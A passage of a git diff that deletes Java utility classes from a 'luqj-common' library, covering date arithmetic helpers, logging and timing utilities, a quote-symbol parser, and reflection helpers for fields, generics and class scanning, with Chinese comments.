* @param time - * @return - * @author:lwei - */ - public static String[] getLastMonthBetweenDay(Date time){ - Calendar cal = Calendar.getInstance(); - cal.setTime(time); - int year = 0; - int month = cal.get(Calendar.MONTH)-1; // 上个月月份 - if (month == 0) { - year = cal.get(Calendar.YEAR) - 1; - month = 12; - } else { - year = cal.get(Calendar.YEAR); - } - Calendar c = Calendar.getInstance(); - c.set(year, month, 1); - int startDay = c.getActualMinimum(Calendar.DAY_OF_MONTH);//起始天数 - int endDay = c.getActualMaximum(Calendar.DAY_OF_MONTH); // 结束天数 - c.set(year, month,startDay); - String startTime = getDateFormat(c.getTime()); - c.clear(); - c.set(year, month,endDay); - String endTime = getDateFormat(c.getTime()); - return new String[]{startTime,endTime}; - } - - /** - * 返回上月的起始日期和结束日期,格式YYYYMMDD - * @param time - * @return - * @author:huanglm - */ - public static String[] getLastMonthBetweenDayByFmt(Date time,String fmt){ - Calendar cal = Calendar.getInstance(); - cal.setTime(time); - int year = 0; - int month = cal.get(Calendar.MONTH)-1; // 上个月月份 - if (month == 0) { - year = cal.get(Calendar.YEAR) - 1; - month = 12; - } else { - year = cal.get(Calendar.YEAR); - } - Calendar c = Calendar.getInstance(); - c.set(year, month, 1); - int startDay = c.getActualMinimum(Calendar.DAY_OF_MONTH);//起始天数 - int endDay = c.getActualMaximum(Calendar.DAY_OF_MONTH); // 结束天数 - c.set(year, month,startDay); - String startTime = getDateFormatByFmt(c.getTime(),fmt); - c.clear(); - c.set(year, month,endDay); - String endTime = getDateFormatByFmt(c.getTime(),fmt); - return new String[]{startTime,endTime}; - } - - - - /** - * 获取两时间字符串的时间间隔描述 - * 例如:2010-10-10 10:10:10与2010-10-20 20:20:20 - * 的时间间隔描述串为:10天10时10分10秒 - * 如果开始时间大于结束时间返回负数,如:-10时10分10秒 - * - * @param beginTime 开始时间字符串 - * @param endTime 结束时间字符串 - * @param inFmt String 时间格式化串 - * @return 两时间字符串的时间差 如:12天03时25分08秒 - */ - public static String getTimeBetweenStr(String beginTime,String endTime,String inFmt){ - SimpleDateFormat dfs = new SimpleDateFormat(inFmt); - StringBuffer timeStrBuf = new StringBuffer(); - try { - Date begin = dfs.parse(beginTime); - Date end = dfs.parse(endTime); - if (begin.compareTo(end) == 0 ) { - return "1秒"; //如果开始时间等于结束时间 直接返回1秒 - } - long between = (end.getTime() - begin.getTime()) / 1000; //除以1000是为了转换成秒 - if (between < 0 ) { - timeStrBuf.append("-"); - between = -between; - } - long day = between / (24*60*60); - long hour = between % (24*60*60) / 3600; - long minute = between % (60*60) / 60; - long second = between % 60; - if (day != 0) { - timeStrBuf.append(String.valueOf(day)+"天" ); - } - if (hour != 0) { - timeStrBuf.append(String.valueOf(hour)+"时" ); - } - - if(minute != 0 ) { - timeStrBuf.append(String.valueOf(minute)+"分" ); - } - if (second != 0 ) { - timeStrBuf.append(String.valueOf(second)+"秒" ); - } - } catch (Exception e) { - return null; - } - return timeStrBuf.toString(); - } - - /** - * 给时间加上或减去指定毫秒,秒,分,时,天、月或年等,返回变动后的时间 - * - * @param date 要加减前的时间,如果不传,则为当前日期 - * @param field 时间域,有Calendar.MILLISECOND,Calendar.SECOND,Calendar.MINUTE,
- * * Calendar.HOUR,Calendar.DATE, Calendar.MONTH,Calendar.YEAR - * @param amount 按指定时间域加减的时间数量,正数为加,负数为减。 - * @author huanglm - * @return 变动后的时间 - */ - public static Date add(Date date, int field, int amount) { - if (date == null) { - date = new Date(); - } - - Calendar cal = Calendar.getInstance(); - cal.setTime(date); - cal.add(field, amount); - - return cal.getTime(); - } - - /** - * - * @param date - * @param amount - * @author huanglm - * @return - */ - public static Date addMilliSecond(Date date, int amount) { - return add(date, Calendar.MILLISECOND, amount); - } - - /** - * - * - * @param date - * @param amount - * @author huanglm - * @return - */ - public static Date addSecond(Date date, int amount) { - return add(date, Calendar.SECOND, amount); - } - - /** - * - * @param date - * @param amount - * @author huanglm - * @return - */ - public static Date addMiunte(Date date, int amount) { - return add(date, Calendar.MINUTE, amount); - } - - /** - * - * @param date - * @param amount - * @author huanglm - * @return - */ - public static Date addHour(Date date, int amount) { - return add(date, Calendar.HOUR, amount); - } - - /** - * - * @param date - * @param amount - * @author huanglm - * @return - */ - public static Date addDay(Date date, int amount) { - return add(date, Calendar.DATE, amount); - } - - /** - * - * @param date - * @param amount - * @author huanglm - * @return - */ - public static Date addMonth(Date date, int amount) { - return add(date, Calendar.MONTH, amount); - } - - /** - * - * @param date - * @param amount - * @author huanglm - * @return - */ - public static Date addYear(Date date, int amount) { - return add(date, Calendar.YEAR, amount); - } - public static final SimpleDateFormat YYYYMMDDHHMMSS_DATE_FORMAT = new SimpleDateFormat("yyyyMMddHHmmss"); - public static Date ORIGINAL_DATE = null; - static { - try { - ORIGINAL_DATE = YYYYMMDDHHMMSS_DATE_FORMAT.parse("19700101080000"); - } catch (ParseException e) { - - } - } - /** - * 从19700101080000开始增加指定的秒数 - * @param amount - * @return - */ - public static Date addSecond(int amount) { - return addSecond(ORIGINAL_DATE, amount); - } - /** - * 从19700101080000开始增加指定的秒数 - * @param amount - * @return - */ - public static String addSecondToString(int amount) { - return YYYYMMDDHHMMSS_DATE_FORMAT.format(addSecond(ORIGINAL_DATE, amount)); - } - /** - * 测试 - * - * @param args - * args - * @throws ParseException - * ParseException - * @author:Administrator - */ - public static void main(String[] args) throws ParseException { - Date date=new Date(); - System.out.println(addMonth(DateUtils.getDate("2024-01-29","yyyy-mm-dd"),1)); - date.setTime(1491040070000l); - System.out.println(getTimeStr(date,2)); - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/log/LogUtil.java b/luqj-common/src/main/java/com/luqj/util/log/LogUtil.java deleted file mode 100644 index 6e25eeb..0000000 --- a/luqj-common/src/main/java/com/luqj/util/log/LogUtil.java +++ /dev/null @@ -1,174 +0,0 @@ -package com.luqj.util.log; - -import java.io.PrintWriter; -import java.io.StringWriter; - -public abstract class LogUtil { - - private static String getStackTrace(Throwable t) { - StringWriter sw = new StringWriter(); - PrintWriter pw = new PrintWriter(sw); - try { - t.printStackTrace(pw); - return sw.toString(); - } finally { - pw.close(); - } - } - - public static String exceptionMsg(String msg, Throwable e) { - return msg + ",异常消息[" + getStackTrace(e) + "]"; - } - - public static String exceptionSimpleMsg(String msg, Throwable e) { - return msg + ",异常消息[" + e.getLocalizedMessage() + "]"; - } - - /** - * 获取计算程序运行的时钟 - * - * @return clock - */ - public static Clock getClock() { - return new Clock() { - /**开始时间*/ - private long startTime = System.nanoTime(); - - /** - * 消耗时间[毫秒] - * @return 消耗时间 - */ - public long consume() { - return LogUtil.consume(startTime, System.nanoTime()); - } - - /** - * 结束时间 - */ - public long getEnd() { - return System.nanoTime(); - } - - /** - * 开始时间 - */ - public long getStart() { - return startTime; - } - - public long consumeSecond() { - return LogUtil.consumeSecond(startTime, System.nanoTime()); - } - }; - } - - - /** - * 消耗时间[纳秒] - * - * @return 消耗时间 秒 - */ - public static long consumeNano(long startTime, long endTime) { - return (endTime - startTime) / 1000000000 + 1; - } - - /** - * 消耗时间[微秒] - * - * @return 消耗时间 秒 - */ - public static long consume(long startTime, long endTime) { - return (endTime - startTime) / 1000000 + 1; - } - - /** - * 消耗时间[耗秒] - * - * @return 消耗时间 秒 - */ - public static long consumeSecond(long startTime, long endTime) { - return (endTime - startTime) / 1000 + 1; - } - - /** - * getRootCause - * 获取异常的原始异常,用于反馈异常的真实原因。 - * - * @param ex 异常信息 - * @return 原始异常,最底层异常 - * @author 林小松 - */ - public static Throwable getRootCause(Throwable ex) { - Throwable cause = ex; - while (cause.getCause() != null) { - cause = cause.getCause(); - } - return cause; - } - - /** - * 递归寻找根异常异常信息 - * - * @param ex 异常 - * @return 异常信息 - */ - public static String traceRootExceptionInfo(Throwable ex) { - Throwable cause = ex; - while (cause.getCause() != null) { - cause = cause.getCause(); - } - return cause.toString(); - } - - /** - * 递归寻找引起异常的所有异常信息 - * - * @param ex 异常 - * @return 异常信息 - */ - public static String tarceExceptionInfo(Throwable ex) { - StringBuffer sb = new StringBuffer(); - Throwable cause = ex; - sb.insert(0, cause); - while (cause.getCause() != null) { - cause = cause.getCause(); - sb.insert(0, cause.toString()); - } - return sb.toString(); - } - - public static interface Clock { - - - /** - * 返回程序消耗的毫秒数 - * - * @return 消耗毫秒数 - */ - long consume(); - - /** - * 返回程序消耗的秒数 - * - * @return 消耗秒数 - */ - long consumeSecond(); - - /** - * 返回开始时间 - * - * @return 开始时间 - * @author:lwei - */ - long getStart(); - - /** - * 返回结束时间 - * - * @return 结束时间 - * @author:lwei - */ - long getEnd(); - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/parse/SymbolSet.java b/luqj-common/src/main/java/com/luqj/util/parse/SymbolSet.java deleted file mode 100644 index 7a53441..0000000 --- a/luqj-common/src/main/java/com/luqj/util/parse/SymbolSet.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.util.parse; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 符号集 - * @author chenzm - */ -public class SymbolSet { - /**等号*/ - public final static String SYMBOL_EQ = "="; - - /**空字符*/ - public final static Character SYMBOL_NULL = ' '; - - /**逗号*/ - public final static String SYMBOL_COMMA = ","; - - /**双引号*/ - public final static String SYMBOL_DQM = "\""; - - /**单引号*/ - public final static String SYMBOL_SQM = "\'"; - - public static String chr2Str(char chr) { - return "" + chr; - } - - static boolean isInSymbol(Map> symBolPos, int charPos, String ...symbols){ - for(String symbol : symbols) { - if(!symBolPos.containsKey(symbol)) { - return false; - } - List posInfo = symBolPos.get(symbol); - for(int i = 0; i < posInfo.size(); ) { - if(charPos > posInfo.get(i) && charPos < posInfo.get(i + 1)) { - return true; - } - i+=2; - } - } - return false; - } - - static Map> getSymBolPos(String exp) { - Map> map = new HashMap>(); - String[] symbols = new String[]{ - SYMBOL_SQM, SYMBOL_DQM - }; - for(String symbol : symbols) { - map.put(symbol, new ArrayList(exp.length())); - int charPos = 0; - for(char c : exp.toCharArray()) { - if(c == symbol.charAt(0)) { - map.get(symbol).add(charPos); - } - charPos++; - } - } - return map; - } -} diff --git a/luqj-common/src/main/java/com/luqj/util/reflect/ClassUtils.java b/luqj-common/src/main/java/com/luqj/util/reflect/ClassUtils.java deleted file mode 100644 index 7a809c5..0000000 --- a/luqj-common/src/main/java/com/luqj/util/reflect/ClassUtils.java +++ /dev/null @@ -1,762 +0,0 @@ -package com.luqj.util.reflect; - -import com.luqj.util.NumFormat; -import com.luqj.util.assertion.Assert; -import javassist.*; -import javassist.bytecode.CodeAttribute; -import javassist.bytecode.LocalVariableAttribute; -import javassist.bytecode.MethodInfo; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.io.File; -import java.io.FileFilter; -import java.io.IOException; -import java.lang.annotation.Annotation; -import java.lang.reflect.Modifier; -import java.lang.reflect.*; -import java.net.URL; -import java.net.URLDecoder; -import java.util.*; -import java.util.jar.JarEntry; -import java.util.jar.JarFile; - -public class ClassUtils { - private static Logger LOGGER = LoggerFactory.getLogger(ClassUtils.class); - - private static ClassPool pool = ClassPool.getDefault(); - - static { - - } - - - public static Annotation[] getAnnotation(Class type, Class annotation) { - - List list = new ArrayList(); - Class clazz = type; - for (; clazz != Object.class; clazz = clazz.getSuperclass()) { - try { - if (clazz.getAnnotation(annotation) != null) { - list.add(clazz.getAnnotation(annotation)); - } - } catch (Exception e) { - // 这里甚么都不要做!并且这里的异常必须这样写,不能抛出去。 - // 如果这里的异常打印或者往外抛,则就不会执行clazz = - // clazz.getSuperclass(),最后就不会进入到父类中了 - - } - } - return list.toArray(new Annotation[]{}); - } - - /** - * 通过反射,获得定义Class时声明的父类的范型参数的类型. - * 如public BookManager extends GenricManager - * - * @param clazz clazz The class to introspect - * @param index the Index of the generic ddeclaration,start from 0. - */ - @SuppressWarnings("rawtypes") - public static Class getSuperClassGenericity(Class clazz, int index) throws IndexOutOfBoundsException { - Type genType = clazz.getGenericSuperclass(); - if (!(genType instanceof ParameterizedType)) { - return Object.class; - } - Type[] params = ((ParameterizedType) genType).getActualTypeArguments(); - if (index >= params.length || index < 0) { - return Object.class; - } - if (!(params[index] instanceof Class)) { - return Object.class; - } - return (Class) params[index]; - } - - public static String getDefBeanName(Class classType) { - String name = classType.getSimpleName(); - String firstChat = name.substring(0, 1).toLowerCase(); - return firstChat + name.subSequence(1, name.length()); - } - - public static T instanceByConstructor(Class tClass,Object... constructorParams) throws Throwable{ - Class[] constructorTypes = new Class[constructorParams.length]; - for (int i = 0; i < constructorParams.length; i++) { - constructorTypes[i] = constructorParams[i].getClass(); - } - Constructor cla = tClass.getDeclaredConstructor(constructorTypes); - return (T) cla.newInstance(constructorParams); - } - - public static String classPackageAsResourcePath(Class clazz) { - if (clazz == null) { - return ""; - } - String className = clazz.getName(); - int packageEndIndex = className.lastIndexOf('.'); - if (packageEndIndex == -1) { - return ""; - } - String packageName = className.substring(0, packageEndIndex); - return packageName.replace('.', '/'); - } - - - public static ClassLoader getDefaultClassLoader() { - ClassLoader cl = null; - try { - cl = Thread.currentThread().getContextClassLoader(); - } catch (Throwable ex) { - // Cannot access thread context ClassLoader - falling back to system class loader... - } - if (cl == null) { - // No thread context class loader -> use class loader of this class. - cl = ClassUtils.class.getClassLoader(); - } - return cl; - } - - public static Map getMethodParams(Class clas, Method m) throws NotFoundException { - Map params = new LinkedHashMap(); - pool.insertClassPath(new ClassClassPath(clas)); - CtClass ctClass = pool.get(clas.getName()); - CtMethod cm = ctClass.getDeclaredMethod(m.getName()); - MethodInfo methodInfo = cm.getMethodInfo(); - Class[] parameterTypes = m.getParameterTypes(); - Type[] parameterGTypes = m.getGenericParameterTypes(); - CodeAttribute codeAttribute = methodInfo.getCodeAttribute(); - LocalVariableAttribute attr = (LocalVariableAttribute) codeAttribute - .getAttribute(LocalVariableAttribute.tag); - if (attr == null) { - throw new NotFoundException(codeAttribute.toString()); - } - String[] paramNames = new String[cm.getParameterTypes().length]; - int pos = Modifier.isStatic(cm.getModifiers()) ? 0 : 1; - for (int j = 0; j < paramNames.length; j++) { - MethodParam mp = new MethodParam(j, attr.variableName(j + pos), parameterTypes[j]); - mp.setT(getTypeGenericity(parameterGTypes[j])); - params.put(mp.getName(), mp); - } - LOGGER.trace("方法[" + m.getName() + "]参数为" + params); - return params; - } - - /** - * 获取类型属性的泛型类型 - * - * @return - */ - public static Class[] getTypeGenericity(Type fc) { - if (fc == null) { - return new Class[]{}; - } - // 【3】如果是泛型参数的类型 - if (fc instanceof ParameterizedType) { - ParameterizedType pt = (ParameterizedType) fc; - Type[] ts = pt.getActualTypeArguments(); - List> t = new ArrayList>(); - for (int i = 0; i < ts.length; i++) { - if (ts[i] instanceof WildcardType) { - //泛型可能是 - } else { - t.add((Class) ts[i]); - } - - } - return t.toArray(new Class[]{}); - } else { - return new Class[]{}; - } - } - - - public static boolean isListType(Field field) { - return isListType(field.getType()); - } - - public static boolean isListType(Class objType) { - Class[] interfaces = objType.getInterfaces(); - for (Class i : interfaces) { - if (i.equals(List.class)) { - return true; - } - } - return objType.isAssignableFrom(List.class); - } - - public static boolean isMapType(Field field) { - Class fieldClazz = field.getType(); - return isMapType(fieldClazz); - } - - public static boolean isMapType(Class objType) { - return isType(objType, Map.class); - } - - public static boolean isSetType(Field field) { - Class fieldClazz = field.getType(); - return isSetType(fieldClazz); - } - - public static boolean isSetType(Class objType) { - return isType(objType, Set.class); - } - - /** - * @return - */ - public static boolean isType(Class parentType, Class child) { - return parentType.isAssignableFrom(child); - } - - /** - * 获取List类型属性的泛型类型 - * - * @param field - * @return - */ - public static Type getSetFieldGenericity(Field field) { - Class fieldClazz = field.getType(); - Assert.logic(isSetType(fieldClazz), "属性类型必须为Set类型"); - Type fc = field.getGenericType(); // 关键的地方,如果是List类型,得到其Generic的类型 - if (fc == null) { - return null; - } - // 【3】如果是泛型参数的类型 - if (fc instanceof ParameterizedType) { - ParameterizedType pt = (ParameterizedType) fc; - return pt.getActualTypeArguments()[0]; // 【4】 - } else { - return null; - } - } - - - /** - * 获取List类型属性的泛型类型 - * - * @param field - * @return - */ - public static Type[] getMapFieldGenericity(Field field) { - Class fieldClazz = field.getType(); - Assert.logic(isMapType(fieldClazz), "属性类型必须为Map类型"); - Type fc = field.getGenericType(); // 关键的地方,如果是List类型,得到其Generic的类型 - if (fc == null) { - return null; - } - // 【3】如果是泛型参数的类型 - if (fc instanceof ParameterizedType) { - ParameterizedType pt = (ParameterizedType) fc; - return pt.getActualTypeArguments(); // 【4】 - } else { - return null; - } - } - - /** - * 获取List类型属性的泛型类型 - * - * @param field - * @return - */ - public static Class getListGenericity(Field field) { - Class fieldClazz = field.getType(); - Assert.logic(isListType(fieldClazz), "属性类型必须为List类型"); - Type fc = field.getGenericType(); // 关键的地方,如果是List类型,得到其Generic的类型 - if (fc == null) { - return null; - } - // 【3】如果是泛型参数的类型 - if (fc instanceof ParameterizedType) { - ParameterizedType pt = (ParameterizedType) fc; - return (Class) pt.getActualTypeArguments()[0]; // 【4】 - } else { - return null; - } - } - - /** - * 获取List类型属性的泛型类型 - * - * @param field - * @return - */ - public static Class getListFieldGenericity(Field field) { - Class fieldClazz = field.getType(); - Assert.logic(fieldClazz.isAssignableFrom(List.class), "属性类型必须为List类型"); - Type fc = field.getGenericType(); // 关键的地方,如果是List类型,得到其Generic的类型 - if (fc == null) { - return null; - } - // 【3】如果是泛型参数的类型 - if (fc instanceof ParameterizedType) { - ParameterizedType pt = (ParameterizedType) fc; - return (Class) pt.getActualTypeArguments()[0]; // 【4】 - } else { - return null; - } - } - - /** - * 判断属性名是否存在避免调用 getField(String name) 抛异常 - * - * @param type - * @return - */ - public static boolean existField(Class type, Class fieldType) { - if (fieldType == null) { - return false; - } - Field[] fs = getDeclaredFields(type); - for (Field field : fs) { - if (field.getType().equals(fieldType)) { - return true; - } - } - return false; - } - - - public static Method getDeclaredMethod(Object object, String methodName, Class... parameterTypes) { - Method method = null; - for (Class clazz = object.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) { - try { - clazz.getMethods(); - method = clazz.getMethod(methodName, parameterTypes); - return method; - } catch (Exception e) { - //这里甚么都不要做!并且这里的异常必须这样写,不能抛出去。 - //如果这里的异常打印或者往外抛,则就不会执行clazz = clazz.getSuperclass(),最后就不会进入到父类中了 - - } - } - return null; - } - - public static Method[] getDeclaredMethods(Object object) { - List list = new ArrayList(); - for (Class clazz = object.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) { - try { - for (Method method : clazz.getDeclaredMethods()) { - if (!Modifier.isStatic(method.getModifiers())) { - list.add(method); - } - } - } catch (Exception e) { - //这里甚么都不要做!并且这里的异常必须这样写,不能抛出去。 - //如果这里的异常打印或者往外抛,则就不会执行clazz = clazz.getSuperclass(),最后就不会进入到父类中了 - - } - } - return list.toArray(new Method[]{}); - } - - /** - * 递归获取所有的接口 - * - * @param clazz - * @return - */ - public static Class[] getInterfaces(Class clazz) { - List> list = new LinkedList>(); - Class[] interfaces = clazz.getInterfaces(); - for (int i = 0; i < interfaces.length; i++) { - Class ifs = interfaces[i]; - list.add(ifs); - list.addAll(Arrays.asList(getInterfaces(ifs))); - } - return list.toArray(new Class[list.size()]); - } - - - /** - * 直接调用对象方法, 而忽略修饰符(private, protected, default) - * - * @param object : 子类对象 - * @param methodName : 父类中的方法名 - * @param parameterTypes : 父类中的方法参数类型 - * @param parameters : 父类中的方法参数 - * @return 父类中方法的执行结果 - */ - - public static Object invokeMethod(Object object, String methodName, Class[] parameterTypes, - Object[] parameters) { - //根据 对象、方法名和对应的方法参数 通过反射 调用上面的方法获取 Method 对象 - Method method = getDeclaredMethod(object, methodName, parameterTypes); - Assert.notNull(method, "方法[" + methodName + "]不允许为空"); - //抑制Java对方法进行检查,主要是针对私有方法而言 - method.setAccessible(true); - try { - if (null != method) { - // 调用object 的 method 所代表的方法,其方法的参数是 parameters - return method.invoke(object, parameters); - } - } catch (Exception e) { - - throw new IllegalArgumentException("方法执行异常,异常消息[" + e.getMessage() + "]", e); - } - return null; - } - - - /** - * 包括父类的属性 - * - * @param type - * @return - */ - public static Field[] getDeclaredFields(Class type) { - List list = new ArrayList(); - Class clazz = type; - for (; clazz != Object.class; clazz = clazz.getSuperclass()) { - try { - for (Field field : clazz.getDeclaredFields()) { - if (!Modifier.isStatic(field.getModifiers())) { - list.add(field); - } - } - } catch (Exception e) { - // 这里甚么都不要做!并且这里的异常必须这样写,不能抛出去。 - // 如果这里的异常打印或者往外抛,则就不会执行clazz = - // clazz.getSuperclass(),最后就不会进入到父类中了 - - } - } - return list.toArray(new Field[]{}); - } - - - public static Field[] getDeclaredFields(Class type, Class a) { - List fs = new ArrayList<>(); - Field[] fields = getDeclaredFields(type); - for (Field field : fields) { - if (field.getType().getAnnotation(a) != null) { - fs.add(field); - } - } - return fs.toArray(new Field[]{}); - } - - /** - * 包括父类的属性 - * - * @param type - * @param fieldName - * @return - */ - public static Field getDeclaredFields(Class type, String fieldName) { - Field field = null; - Class clazz = type; - for (; clazz != Object.class; clazz = clazz.getSuperclass()) { - try { - field = clazz.getDeclaredField(fieldName); - return field; - } catch (Exception e) { - // 这里甚么都不要做!并且这里的异常必须这样写,不能抛出去。 - // 如果这里的异常打印或者往外抛,则就不会执行clazz = - // clazz.getSuperclass(),最后就不会进入到父类中了 - - } - } - return null; - } - - /** - * 判断属性名是否存在避免调用 getField(String name) 抛异常 - * - * @param type - * @param fieldName - * @return - */ - public static boolean existField(Class type, String fieldName) { - if (fieldName == null) { - return false; - } - return getDeclaredFields(type, fieldName) != null; - } - - /** - * 递归寻找属性的类型 - * - * @param beanType 根类型 - * @param fieldStr 如bean.field.field - * @return - */ - public static final Class[] getTypes(Class beanType, String fieldStr) { - Assert.notNull(beanType, "根类型不允许为空"); - Assert.hasText(fieldStr, "属性串不允许为空"); - String[] fieldNames = fieldStr.split("\\."); - List> returnTypes = new ArrayList>(); - - Class returnType = beanType; - for (String fn : fieldNames) { - if (ClassUtils.existField(returnType, fn)) { - Field f; - f = getDeclaredFields(returnType, fn); - returnTypes.add(f.getType()); - returnType = f.getType(); - } else { - return returnTypes.toArray(new Class[0]); - } - } - return returnTypes.toArray(new Class[0]); - } - - - public static final boolean isBaseType(Field field) { - Assert.notNull(field, "属性不允许为空!"); - return isBaseType(field.getType()); - } - - public static final Object initBaseValue(Class objType) { - return parseBaseValue(objType, ""); - } - - - public static final Object parseBaseValue(Class objType, Object value) { - Assert.logic(isBaseType(objType), "需要转换的必须是基本类型"); - if (Short.class.equals(objType) || short.class.equals(objType)) { - return NumFormat.$Long(value); - } else if (Integer.class.equals(objType) || int.class.equals(objType)) { - return NumFormat.$Intger(value); - } else if (Long.class.equals(objType) || long.class.equals(objType)) { - return NumFormat.$Long(value); - } else if (Float.class.equals(objType) || float.class.equals(objType)) { - return NumFormat.$Float(value); - } else if (Double.class.equals(objType) || double.class.equals(objType)) { - return NumFormat.$Double(value); - } else if (String.class.equals(objType)) { - return value; - } else if (Boolean.class.equals(objType) || boolean.class.equals(objType)) { - if (value == null) { - return Boolean.FALSE; - } else { - return Boolean.getBoolean(value.toString()); - } - - } - return null; - } - - - public static final Object parseBaseValue(Class objType, String value) { - Assert.logic(isBaseType(objType), "需要转换的必须是基本类型"); - if (Short.class.equals(objType) || short.class.equals(objType)) { - return NumFormat.$Short(value.trim()); - } else if (Integer.class.equals(objType) || int.class.equals(objType)) { - return NumFormat.$Intger(value.trim()); - } else if (Long.class.equals(objType) || long.class.equals(objType)) { - return NumFormat.$Long(value.trim()); - } else if (Float.class.equals(objType) || float.class.equals(objType)) { - return NumFormat.$Float(value.trim()); - } else if (Double.class.equals(objType) || double.class.equals(objType)) { - return NumFormat.$Double(value.trim()); - } else if (String.class.equals(objType)) { - return value; - } else if (Boolean.class.equals(objType) || boolean.class.equals(objType)) { - return Boolean.parseBoolean(value.trim()); - } - return null; - } - - public static final boolean isBaseType(Class beanType) { - Assert.notNull(beanType, "类型不允许为空!"); - return beanType.isPrimitive() - || String.class.equals(beanType) - || Long.class.equals(beanType) - || Short.class.equals(beanType) - || Character.class.equals(beanType) - || Integer.class.equals(beanType) - || Double.class.equals(beanType) - || Boolean.class.equals(beanType) - || Float.class.equals(beanType); - } - - public static final Object newInstance(Class beanType, String fieldStr) - throws InstantiationException, - IllegalAccessException, SecurityException, NoSuchFieldException { - Assert.notNull(beanType, "根类型不允许为空"); - Assert.hasText(fieldStr, "属性串不允许为空"); - - Class[] types = getTypes(beanType, fieldStr); - if (types.length == 0) { - return null; - } - String[] fieldNames = fieldStr.split("\\."); - Object root = beanType.newInstance(); - Object obj = root; - Class tmpType = beanType; - int i = 0; - for (Class type : types) { - Object objTmp = type.newInstance(); - GSetterUtil.setValueBySetter(obj, tmpType.getDeclaredField(fieldNames[i]), objTmp); - obj = objTmp; - tmpType = type; - i++; - } - return GSetterUtil.getValueByGetter(root, beanType.getDeclaredField(fieldNames[0])); - } - - - /** - * 递归寻找属性的类型 - * - * @param beanType 根类型 - * @param fieldStr 如bean.field.field - * @return - */ - public static final Class getType(Class beanType, String fieldStr) { - Assert.notNull(beanType, "根类型不允许为空"); - Assert.hasText(fieldStr, "属性串不允许为空"); - String[] fieldNames = fieldStr.split("\\."); - Class returnType = beanType; - for (String fn : fieldNames) { - if (ClassUtils.existField(returnType, fn)) { - Field f; - try { - f = getDeclaredFields(returnType, fn); - returnType = f.getType(); - } catch (NullPointerException e) { - //找不到字段返回NULL - - return null; - } - } else { - return null; - } - } - return returnType; - } - - /** - * 获取某个包下面的class - * - * @param pack - * @return - */ - public static List getClasssFromPackage(String pack) { - List classNames = new ArrayList(); - // 是否循环搜索子包 - boolean recursive = true; - // 包名字 - String packageName = pack; - // 包名对应的路径名称 - String packageDirName = packageName.replace('.', '/'); - Enumeration dirs; - try { - dirs = Thread.currentThread().getContextClassLoader().getResources(packageDirName); - while (dirs.hasMoreElements()) { - URL url = dirs.nextElement(); - String protocol = url.getProtocol(); - if ("file".equals(protocol)) { - System.out.println("file类型的扫描"); - String filePath = URLDecoder.decode(url.getFile(), "UTF-8"); - findClassInPackageByFile(packageName, filePath, recursive, classNames); - } else if ("jar".equals(protocol)) { - System.out.println("jar类型的扫描"); - } - } - } catch (Exception e) { - - } - return classNames; - } - - private static void findClassInPackageByFile(String packageName, String filePath, final boolean recursive, List clazzNames) { - File dir = new File(filePath); - if (!dir.exists() || !dir.isDirectory()) { - return; - } - // 在给定的目录下找到所有的文件,并且进行条件过滤 - File[] dirFiles = dir.listFiles(new FileFilter() { - @Override - public boolean accept(File file) { - boolean acceptDir = recursive && file.isDirectory();// 接受dir目录 - boolean acceptClass = file.getName().endsWith("class");// 接受class文件 - return acceptDir || acceptClass; - } - }); - - for (File file : dirFiles) { - if (file.isDirectory()) { - findClassInPackageByFile(packageName + "." + file.getName(), file.getAbsolutePath(), recursive, clazzNames); - } else { - String className = file.getName().substring(0, file.getName().length() - 6); - try { - clazzNames.add(packageName + "." + className); - } catch (Exception e) { - - } - } - } - } - - /** - * 从jar文件中读取指定目录下面的所有的class文件 - * - * @param jarPath jar文件存放的位置 - * @param jarPath 指定的文件目录 - * @return 所有的的class的对象 - */ - public static List getClasssFromJarFile(String jarPath) { - List classNameList = new ArrayList<>(); - JarFile jarFile = null; - try { - jarFile = new JarFile(jarPath); - } catch (IOException e1) { - - } - List jarEntryList = new ArrayList<>(); - Enumeration ee = jarFile.entries(); - while (ee.hasMoreElements()) { - JarEntry entry = ee.nextElement(); -// entry.getName().startsWith(filePath) && - if (entry.getName().endsWith(".class")) { - jarEntryList.add(entry); - } - } - for (JarEntry entry : jarEntryList) { - String className = entry.getName().replace('/', '.'); - className = className.substring(0, className.length() - 6); - classNameList.add(className); - } - return classNameList; - } - - public static Class[] getMethodParamTypes(Object classInstance, String methodName) { - Class[] paramTypes = null; - try { - Method[] methods = classInstance.getClass().getMethods();//全部方法 - for (int i = 0; i < methods.length; i++) { - if (methodName.equals(methods[i].getName())) {//和传入方法名匹配 - Class[] params = methods[i].getParameterTypes(); - paramTypes = new Class[params.length]; - for (int j = 0; j < params.length; j++) { - paramTypes[j] = Class.forName(params[j].getName()); - } - break; - } - } - }catch (Throwable e) { - throw new IllegalStateException("获取方法参数类型失败", e); - } - return paramTypes; - } - - public static Method findDeclaredMethod(Object object, String methodName) { - Method execMethod = null; - for (Method method : object.getClass().getDeclaredMethods()) { - if (method.getName().equals(methodName)) { - execMethod = method; - break; - } - } - return execMethod; - } - - public static void main(String[] args) { - System.out.println(Arrays.asList(getDeclaredFields(ClassUtils.class))); - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/reflect/GSetterUtil.java b/luqj-common/src/main/java/com/luqj/util/reflect/GSetterUtil.java deleted file mode 100644 index 7224550..0000000 --- a/luqj-common/src/main/java/com/luqj/util/reflect/GSetterUtil.java +++ /dev/null @@ -1,196 +0,0 @@ -package com.luqj.util.reflect; - -import com.luqj.util.assertion.Assert; -import com.luqj.util.log.LogUtil; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.lang.reflect.Modifier; - -public abstract class GSetterUtil { - private static Logger _log = LoggerFactory.getLogger(GSetterUtil.class); - - public static final String PREFIX_GETTER = "get"; - - public static final String PREFIX_SETTER = "set"; - - - public static Object getValueByGetter(Object obj,String fieldName){ - Field f = ClassUtils.getDeclaredFields(obj.getClass(), fieldName); - Assert.notNull(f, obj.getClass()+",找不到指定的属性["+fieldName+"]"); - return getValueByGetter(obj, f); - } - - /** - * 判断属性是否可操作,是否有公共getter,setter方法 - * @return - */ - public static boolean isOpAbleField(Class type,Field f){ - return getGetter(type, f) != null && getSetter(type, f) != null; - } 